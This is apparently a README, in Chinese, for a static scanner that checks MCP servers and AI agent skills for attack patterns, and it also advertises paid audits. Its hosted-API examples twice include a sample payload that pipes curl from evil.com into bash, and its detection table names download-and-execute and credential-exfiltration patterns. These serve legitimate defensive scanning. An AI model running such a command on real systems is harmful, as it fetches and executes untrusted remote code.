skill-audit-mcp

skill-audit-mcp

**用于 MCP 服务、AI Agent 技能和插件的静态安全扫描器。**涵盖 4 个严重级别的 17 种攻击模式（65 个正则表达式特征）。输出 SARIF → GitHub Code Scanning。提供 CLI、GitHub Action、多架构 Docker 镜像、MCP 服务和托管的 x402 API。

⚡ 30 秒快速体验

# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work

# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Option C: GitHub Action (CI/CD) — see below

📡 收录于

该项目被以下 AI/安全工程师常用的发现渠道交叉引用：

• punkpeye/awesome-mcp-servers (86K★) — 安全
• cline/mcp-marketplace (61K★) — 精选一键安装（审核待处理）
• ComposioHQ/awesome-claude-skills (59K★) — 安全与系统
• aaif-goose/goose (45K★) — 扩展教程文档
• sdras/awesome-actions (28K★) — 安全
• veggiemonk/awesome-docker (36K★) — 安全
• VoltAgent/awesome-claude-code-subagents (20K★) — 质量与安全子 Agent
• travisvn/awesome-claude-skills (12K★)
• BehiSecc/awesome-claude-skills (9K★)
• yzfly/Awesome-MCP-ZH (7K★) — 中文 🔒 安全与分析
• tensorchord/Awesome-LLMOps (6K★) — LLM 安全框架
• devsecops/awesome-devsecops (5K★) — 测试
• mahseema/awesome-ai-tools (5K★) — 开发者工具

四种使用方式：

1. GitHub Action（CI/CD）

将其添加到工作流中，自动扫描 PR：

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          fail-on: 'HIGH'

上传 SARIF（在 GitHub Security 选项卡中显示发现项）：

      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

2. CLI

仅需 Python 3.8+ 标准库，无需安装。（尚未发布到 npm — 本 README 的早期版本 曾写有 npx @eltociear/skill-audit-mcp，但该命令一直无法解析。）

git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcp
cd skill-audit-mcp

python3 cli.py --path ./server.py                  # scan a file
python3 cli.py --path ./some-skill/                # scan a directory
python3 cli.py --path . --json                     # JSON output
python3 cli.py --path . --sarif results.sarif      # SARIF output
python3 cli.py --path . --fail-on HIGH             # exit 1 on HIGH or CRITICAL

发现项会根据其所属位置进行标记。production 决定退出代码；documentation 和 test 会报告，但不会导致扫描失败，除非传入 --include-nonproduction。Agent 读取的指令文件 — SKILL.md、AGENTS.md、CLAUDE.md、.cursorrules、.claude/commands|agents|skills/ 或 .cursor/rules/ 下的任何文件 — 都视为 production：对于技能而言，这些文件就是程序本身，而非相关说明。

3. MCP 服务（Claude Desktop / Cursor）

添加到 MCP 配置中：

{
  "skill-audit-mcp": {
    "type": "stdio",
    "command": "python3",
    "args": ["path/to/scanner.py"]
  }
}

然后向 Claude 提问：“审计此 MCP 服务，检查是否存在安全问题”

检测内容

严重程度	模式
CRITICAL	下载并执行（包括 base64 -d | sh）、凭据外传（包括将机密文件交给 curl/nc）、密钥生成、向敏感目录写入、窃取助记词
HIGH	使用动态输入执行任意代码、绕过身份验证、冒充身份、提示词注入
MEDIUM	权限提升（全局可写权限、请求高权限访问）、混淆
INFO	外部下载、技能安装、未知 API 调用、数据收集、外部 URL、广泛访问文件系统——作为上下文报告，绝不计分

风险评分

风险等级取决于发现项中的最高严重程度——只要有一项凭据外传，就属于 CRITICAL， 无论其他内容多么干净。0-100 的分数仅表示影响程度。注释行、模式字面量和 Markdown 表格中的发现项也会报告；如果需要执行才能造成危害，则会降低其等级。

关联项目 — secrets-audit-mcp

若要检测泄露的凭据和 API 密钥（而本项目检测的是行为模式）， 请参阅 secrets-audit-mcp — 包含 32 条提供商规则（AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / 私钥）。采用相同的零依赖、 单文件 stdio MCP 服务设计。

层级	服务	检测内容
行为	skill-audit-mcp（本项目）	curl-pipe-sh、提示词注入、外传（17 种模式）
机密信息	secrets-audit-mcp	泄露的密钥/令牌/PEM（32 条规则）

同时运行两者，即可全面覆盖。

4. Docker（离线、多架构）

零安装扫描器镜像：ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64。

# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --min-severity MEDIUM --fail-on HIGH

# Get SARIF for upload to GitHub Code Scanning
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --sarif-output /work/audit.sarif

5. 托管 API（x402 按次扫描付费）

无需注册，无需账户。通过 Base 上的 x402 小额支付，每次扫描支付 $0.01 USDC：端点会返回带有支付请求的 402，由 Agent 的钱包完成支付，然后运行扫描。同一路径上的 GET 请求会返回价格，不会产生任何费用。

curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Or by URL:
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"url": "https://github.com/some-org/some-mcp-server"}'

首次调用会返回包含支付要求的 HTTP 402（x402 v2 协议）。通过 @bankr/cli 完成支付后重试。

6. pre-commit 钩子

添加到你的 .pre-commit-config.yaml 中：

repos:
  - repo: https://github.com/eltociear/skill-audit-mcp
    rev: v1.2.0
    hooks:
      - id: skill-audit-mcp

聘请我进行审计

需要比自动扫描器更深入的审查？我承接MCP / AI Agent 安全审计自由职业项目，分为三个等级：

等级	价格	交付内容
抽查扫描	$500	完整仓库扫描 + 1 页风险报告，附优先级排序的修复建议
标准审计	$2,000	人工审查 + 针对 HIGH/CRITICAL 发现项的 PoC + 修复 PR
深度审计	$5,000+	渗透测试、威胁建模、修复后复测、30 天 Slack 支持

业绩记录：已扫描 196 个公开 MCP 服务的入口文件；194 个未发现问题，2 个发现了待审查项；首轮误报率从 14.8% 降至 1.0%。扫描整个仓库会标记出更多内容（在 2026-09-29 抽样的 109 个注册表服务中占 18%），其中大多是有文档说明的安装程序和工具代码，需要人工查看一遍（方法与结果） （为 bytebase/dbhub、mysql_mcp_server、applescript-mcp、 docker-mcp 准备的报告）。

电子邮箱：[email protected]（主题：“MCP audit”）

也可直接购买一次性MCP 安全审计报告（$5）：polar.sh/eltociear。

赞助

如果 skill-audit-mcp 帮你解决了燃眉之急，或者你只是希望持续推出新的 检测规则，我很乐意接受赞助：

• GitHub Sponsors
• Ko-fi
• Polar

安全

在 skill-audit-mcp 本身发现漏洞？请通过私密安全公告报告——响应时间表请参阅 SECURITY.md。

在使用 skill-audit-mcp 的第三方 MCP 服务中发现漏洞？请向该项目的安全政策指定渠道或通过 huntr.com 报告。

Star 历史

许可证

MIT

免费 MCP 与付费 x402

此 MCP 服务免费。对于服务端、批量或免安装使用场景，同一款扫描器也提供按次付费的 x402 HTTP API：POST https://eltociear-skill-audit.hf.space/audit（在 Base 上支付 $0.01 USDC）和 /audit/url（$0.03）。已在官方 MCP Registry 中登记为 io.github.eltociear/skill-audit-mcp。

也托管在 Apify Store（Repo Security Scanner）上——无需安装，可扫描整个 GitHub 组织或仓库列表，按仓库付费。

专业审计服务

由同一作者维护——通过 Polar 提供付费服务（Stripe 结账）：

• MCP 安全审计报告 — $5 — 对你的 MCP 服务进行一次性审计：涵盖 17 种攻击模式，并提供标注严重程度、包含具体修复方案的 PDF 报告。
• Security Pulse — $5/月（年付 $50）— 每月简报，介绍新披露的 MCP 服务漏洞、100 多个受跟踪仓库的扫描统计数据和缓解措施指南。
• Pro Audit Stack — $20/月 — 面向在 CI/CD 中运行 MCP 服务的团队：每月 50 次托管扫描、Discord 访问权限，以及针对漏洞问题的 24 小时 SLA。

完整目录：polar.sh/eltociear

同步上线：clean-read（每次调用 $0.005）

同一运营方、同一 x402 支付通道：clean-read 可将任意 URL 转换为适用于 AI Agent 的整洁 Markdown——抓取页面、移除导航栏/广告/冗余内容（trafilatura），并返回包含标题和字数的主要内容。POST https://eltociear-skill-audit.hf.space/read — 在 Base 上支付 $0.005 USDC，无需注册。